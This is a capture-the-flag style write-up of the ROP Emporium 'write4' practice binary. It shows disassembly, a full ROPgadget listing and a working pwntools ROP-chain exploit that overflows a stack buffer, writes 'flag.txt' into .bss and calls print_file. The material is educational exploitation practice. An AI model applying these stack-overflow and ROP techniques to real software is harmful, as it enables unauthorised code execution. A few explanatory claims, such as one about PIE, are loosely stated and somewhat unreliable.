As usual an ELF file is given, nothing that special.
$ file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
There’s a shared object file as well.
$ file libwrite4.so
libwrite4.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6480d05c301d646a5677805e7226e81b35c23f7d, not stripped
Let’s run checksec, although we barely use any of the information it shows…
$ checksec write4
[*] '/home/hwkim301/rop_emporium/write/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
Shared libraries are position-independent by default.
$ checksec libwrite4.so
[*] '/home/hwkim301/rop_emporium/write/libwrite4.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
How does file know if the ELF file is an executable or a shared object?
Well, you can run readelf -h on the executable and the share object.


Okay, readelf, tells you that an executable is an EXEC and a shared object is a DYN.
It still probably has to parse the actual bytes from the ELF file and determine from that byte whether it’s going to be a EXEC or DYN.
According to wikipedia, the decision is made by the e_type.

Therefore, write4 has to have an e_type of 0x02 since it’s an executable.
On the other hand, libwrite4.so e_type is 0x03.
Got it, but is there a way I can see the actual raw bytes?
To do so you’ll have to use either xxd or hexdump or other tools to view the raw bytes.
Gemini, suggested using xxd -g -2 -l 18 would show the raw bytes.
Here’s the man page for the -g -2 -l 18 flag.
-g bytes | -groupsize bytes
Separate the output of every <bytes> bytes (two hex characters or eight bit digits each) by a whitespace. Specify -g 0 to suppress grouping. <Bytes> defaults to 2 in nor‐
mal mode, 4 in little-endian mode and 1 in bits mode. Grouping does not apply to PostScript or include style.
-l len | -len len
Stop after writing <len> octets.
xxd -g -2 -l 18 will show the first 18 bytes of the ELF files respectively, printing them by in groups of 2 bytes.
$ xxd -g -2 -l 18 write4
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200
$ xxd -g -2 -l 18 libwrite4.so
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 ..
You can see for yourself that at the end there’s the bytes are respectfully 0200 and 0300 at sixteenth~seventeenth byte.
I think the bytes for the ELF files are 0-indexed by the way.
This used to be the ground truth until ELF files weren’t compiled by PIE in the past, but nowadays since ELF files all have PIE enabled.
Thus you can’t just rely on the e_type.
Employed Russian has an explanation about this on stackoverflow.
But for now, we won’t dig into PIE executables.
Now let’s load the binary to ghidra.
The main function is a bit different from the previous levels.
undefined8 main(void)
{
pwnme();
return 0;
}
The pwnme function does exist, but it seems to corrupted.
void pwnme(void)
{
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
There’s a usefulFunction however it doesn’t look like it does anything meaningful.
void usefulFunction(void)
{
print_file("nonexistent");
return;
}
There aren’t any other functions worth checking in the binary, so let’s load the shared object file.
Aha, here’s the pwnme function that we were looking for.
void pwnme(void)
{
undefined1 local_28 [32];
setvbuf(_stdout,(char *)0x0,2,0);
puts("write4 by ROP Emporium");
puts("x86_64\n");
memset(local_28,0,0x20);
puts("Go ahead and give me the input already!\n");
printf("> ");
read(0,local_28,0x200);
puts("Thank you!");
return;
}
The print_file function seems to print the flag.
void print_file(char *param_1)
{
char local_38 [40];
FILE *local_10;
local_10 = (FILE *)0x0;
local_10 = fopen(param_1,"r");
if (local_10 == (FILE *)0x0) {
printf("Failed to open file: %s\n",param_1);
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_38,0x21,local_10);
puts(local_38);
fclose(local_10);
return;
}
According to the website, we need to cleverly manipulate the mov [reg] reg, instructions to write the flag in the ELF file.
$ ROPgadget --binary write4
Gadgets information
============================================================
0x000000000040057e : adc byte ptr [rax], ah ; jmp rax
0x0000000000400502 : adc cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x000000000040061e : add al, bpl ; jmp 0x400621
0x000000000040061f : add al, ch ; jmp 0x400621
0x000000000040054f : add bl, dh ; ret
0x000000000040069d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040069b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400507 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fc : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040069c : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004005fd : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x0000000000400509 : add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fe : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040054e : add byte ptr [rax], al ; repz ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; repz ret
0x00000000004005ff : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400517 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4004f0
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
0x00000000004004e3 : add esp, 8 ; ret
0x00000000004004e2 : add rsp, 8 ; ret
0x0000000000400548 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400504 : and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x0000000000400514 : and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004004d9 : and byte ptr [rax], al ; test rax, rax ; je 0x4004e2 ; call rax
0x00000000004006ff : call qword ptr [rax + 1]
0x0000000000400624 : call qword ptr [rax - 0x76b23ca3]
0x0000000000400793 : call qword ptr [rax]
0x00000000004007b3 : call qword ptr [rcx]
0x00000000004004e0 : call rax
0x000000000040067c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040054a : hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400603 : in eax, 0x5d ; jmp 0x400590
0x000000000040061a : in eax, 0xbf ; mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004004de : je 0x4004e2 ; call rax
0x0000000000400579 : je 0x400588 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005bb : je 0x4005c8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004002cc : jmp 0x4002a1
0x000000000040050b : jmp 0x4004f0
0x0000000000400605 : jmp 0x400590
0x0000000000400621 : jmp 0x400621
0x0000000000400289 : jmp 0xffffffffca1caa68
0x00000000004006cf : jmp qword ptr [rax + 0x60000000]
0x00000000004006d7 : jmp qword ptr [rax]
0x00000000004007d3 : jmp qword ptr [rbp]
0x0000000000400581 : jmp rax
0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400583 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040054b : nop dword ptr [rax + rax] ; repz ret
0x00000000004005c5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004005e5 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400512 : or cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004005e4 : or r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : push 0 ; jmp 0x4004f0
0x0000000000400516 : push 1 ; jmp 0x4004f0
0x0000000000400600 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400550 : repz ret
0x00000000004004e6 : ret
0x00000000004004dd : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004004d7 : sbb eax, 0x4800200b ; test eax, eax ; je 0x4004e2 ; call rax
0x00000000004006a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040069a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004004dc : test eax, eax ; je 0x4004e2 ; call rax
0x00000000004004db : test rax, rax ; je 0x4004e2 ; call rax
0x0000000000400288 : xchg ecx, eax ; jmp 0xffffffffca1caa68
Unique gadgets found: 90
Which gadgets should we use?
After searching for some writeups online, these are the two gadgets that are necessary.
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
Here’s the exploit code.
It looks a bit intimidating, but let’s go through it line by line.
from pwn import *
p = process('./write4')
e = ELF('./write4')
rop = ROP(e)
pop_r14_r15_ret = 0x400690
mov_r14_r15_ret = 0x400628
payload = b'A' * 40
payload += p64(pop_r14_r15_ret)
payload += p64(e.bss())
payload += b'flag.txt'
payload += p64(mov_r14_r15_ret)
payload += p64(rop.find_gadget(['pop rdi']).address)
payload += p64(e.bss())
payload += p64(e.symbols['print_file'])
p.send(payload)
p.interactive()
First send dummy bytes until you reach the saved frame pointer.
Then pop r14 ; pop r15 ; ret, will take the values on the very value stored at the top of stack to the r14 register.
Next, it will save the that was previously right below the top of the stack to the r15 register.
We will pass the executable’s bss address to r14 and a byte string of flag.txt to r15.
What is the bss?
The .bss section is a section in ELF files.
Here’s what the man page says (man elf).
The .bss section stores data that’s uninitialized with 0s when the program starts to run.

Okay, but why do we need to use the .bss section?
Well remember there’s this gadget? mov qword ptr [r14], r15 ; ret.
Right after pop r14 ; pop r15 ; ret executes?
If we pass the address of .bss and flag.txt.
r14 will store the address of .bss and r15 stores flag.txt.
Next, mov qword ptr [r14], r15 ; ret will store flag.txt at the address of r14.
Then, we need to call print_file(flag.txt).
In order to do that, we’ll need to use a pop rdi ret gadget.
We then need to pass the memory address of where flag.txt.
Right before we saved flag.txt to the .bss section with mov qword ptr [r14], r15 ; ret.
So passing the .bss address will load rdi with flag.txt.
Finally we can trigger the print_file function call.
Here’s the result.
$ python solve.py
[+] Starting local process './write4': pid 9219
[*] '/home/hwkim301/rop_emporium/write/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[*] Loaded 13 cached gadgets for './write4'
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
I’ve tried modifying the code above using pwntools’ ROP class, but the ROP class couldn’t find mov qword ptr [r14], r15 ; ret.
I guess the only way was to hardcode the address.
Other writeups seem to use the .data section.
What’s the .data section?
Let’s check man elf again.
I didn’t take a screenshot, because the width of the image was too long.
It made it hard to read the description.
.data This section holds initialized data that contribute to the program's memory image.
This section is of type SHT_PROGBITS. The attribute types are SHF_ALLOC and SHF_WRITE.
To summarize the, .bss stores uninitialized data in the ELF file and .data saves the initialized data.
But why did we need to use .bss or .data to save flag.txt?
Use readelf -S to check each section of the ELF file.
$ readelf -S write4
There are 29 section headers, starting at offset 0x1980:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
0000000000000038 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002d0 000002d0
00000000000000f0 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 00000000004003c0 000003c0
000000000000007c 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040043c 0000043c
0000000000000014 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400450 00000450
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400470 00000470
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004004a0 000004a0
0000000000000030 0000000000000018 AI 5 22 8
[11] .init PROGBITS 00000000004004d0 000004d0
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 00000000004004f0 000004f0
0000000000000030 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400520 00000520
0000000000000182 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006a4 000006a4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006b0 000006b0
0000000000000010 0000000000000000 A 0 0 4
[16] .eh_frame_hdr PROGBITS 00000000004006c0 000006c0
0000000000000044 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400708 00000708
0000000000000120 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600df0 00000df0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600df8 00000df8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e00 00000e00
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000028 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000601038 00001038
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00001038
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00001068
0000000000000618 0000000000000018 27 46 8
[27] .strtab STRTAB 0000000000000000 00001680
00000000000001f6 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001876
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
The reason why people chose the .bss or .data section is because it’s one of the few section where you can write.

You might also ask again, that .init_array, .fini_array, .dynamic, .got, .got.plt all have access to write.
That’s correct, but those sections are closely related to program initialization and the dynamic linker.
In conclusion, other than the .bss or .data writing a variable somewhere else isn’t ideal.
Again, that was a lot…